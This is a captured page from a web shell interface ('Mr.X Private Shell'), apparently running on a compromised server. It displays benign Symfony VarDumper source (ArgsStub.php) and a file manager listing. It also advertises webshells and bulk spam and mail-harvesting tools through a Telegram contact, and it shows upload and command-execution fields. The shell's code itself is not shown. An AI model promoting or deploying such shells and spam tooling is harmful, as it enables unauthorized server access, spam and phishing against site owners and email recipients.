__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\VarDumper\Caster;

use Symfony\Component\VarDumper\Cloner\Stub;

/**
 * Represents a list of function arguments.
 *
 * @author Nicolas Grekas <[email protected]>
 */
class ArgsStub extends EnumStub
{
    private static array $parameters = [];

    public function __construct(array $args, string $function, ?string $class)
    {
        [$variadic, $params] = self::getParameters($function, $class);

        $values = [];
        foreach ($args as $k => $v) {
            $values[$k] = !\is_scalar($v) && !$v instanceof Stub ? new CutStub($v) : $v;
        }
        if (null === $params) {
            parent::__construct($values, false);

            return;
        }
        if (\count($values) < \count($params)) {
            $params = \array_slice($params, 0, \count($values));
        } elseif (\count($values) > \count($params)) {
            $values[] = new EnumStub(array_splice($values, \count($params)), false);
            $params[] = $variadic;
        }
        if (['...'] === $params) {
            $this->dumpKeys = false;
            $this->value = $values[0]->value;
        } else {
            $this->value = array_combine($params, $values);
        }
    }

    private static function getParameters(string $function, ?string $class): array
    {
        if (isset(self::$parameters[$k = $class.'::'.$function])) {
            return self::$parameters[$k];
        }

        try {
            $r = null !== $class ? new \ReflectionMethod($class, $function) : new \ReflectionFunction($function);
        } catch (\ReflectionException) {
            return [null, null];
        }

        $variadic = '...';
        $params = [];
        foreach ($r->getParameters() as $v) {
            $k = '$'.$v->name;
            if ($v->isPassedByReference()) {
                $k = '&'.$k;
            }
            if ($v->isVariadic()) {
                $variadic .= $k;
            } else {
                $params[] = $k;
            }
        }

        return self::$parameters[$k] = [$variadic, $params];
    }
}

Filemanager

Name Type Size Permission Actions
AmqpCaster.php File 6.72 KB 0664
ArgsStub.php File 2.24 KB 0664
Caster.php File 6.73 KB 0664
ClassStub.php File 3.76 KB 0664
ConstStub.php File 740 B 0664
CutArrayStub.php File 696 B 0664
CutStub.php File 1.88 KB 0664
DOMCaster.php File 9.03 KB 0664
DateCaster.php File 4.94 KB 0664
DoctrineCaster.php File 1.74 KB 0664
DsCaster.php File 1.55 KB 0664
DsPairStub.php File 625 B 0664
EnumStub.php File 637 B 0664
ExceptionCaster.php File 16.38 KB 0664
FFICaster.php File 5.53 KB 0664
FiberCaster.php File 1.07 KB 0664
FrameStub.php File 740 B 0664
GmpCaster.php File 749 B 0664
ImagineCaster.php File 949 B 0664
ImgStub.php File 637 B 0664
IntlCaster.php File 8.9 KB 0664
LinkStub.php File 3.29 KB 0664
MemcachedCaster.php File 2.27 KB 0664
MysqliCaster.php File 691 B 0664
PdoCaster.php File 3.54 KB 0664
PgSqlCaster.php File 5.46 KB 0664
ProxyManagerCaster.php File 758 B 0664
RdKafkaCaster.php File 4.97 KB 0664
RedisCaster.php File 5.43 KB 0664
ReflectionCaster.php File 15.35 KB 0664
ResourceCaster.php File 3.07 KB 0664
ScalarStub.php File 554 B 0664
SplCaster.php File 8.13 KB 0664
StubCaster.php File 2.47 KB 0664
SymfonyCaster.php File 3.69 KB 0664
TraceStub.php File 964 B 0664
UninitializedStub.php File 615 B 0664
UuidCaster.php File 668 B 0664
XmlReaderCaster.php File 3.33 KB 0664
XmlResourceCaster.php File 2.52 KB 0664
Filemanager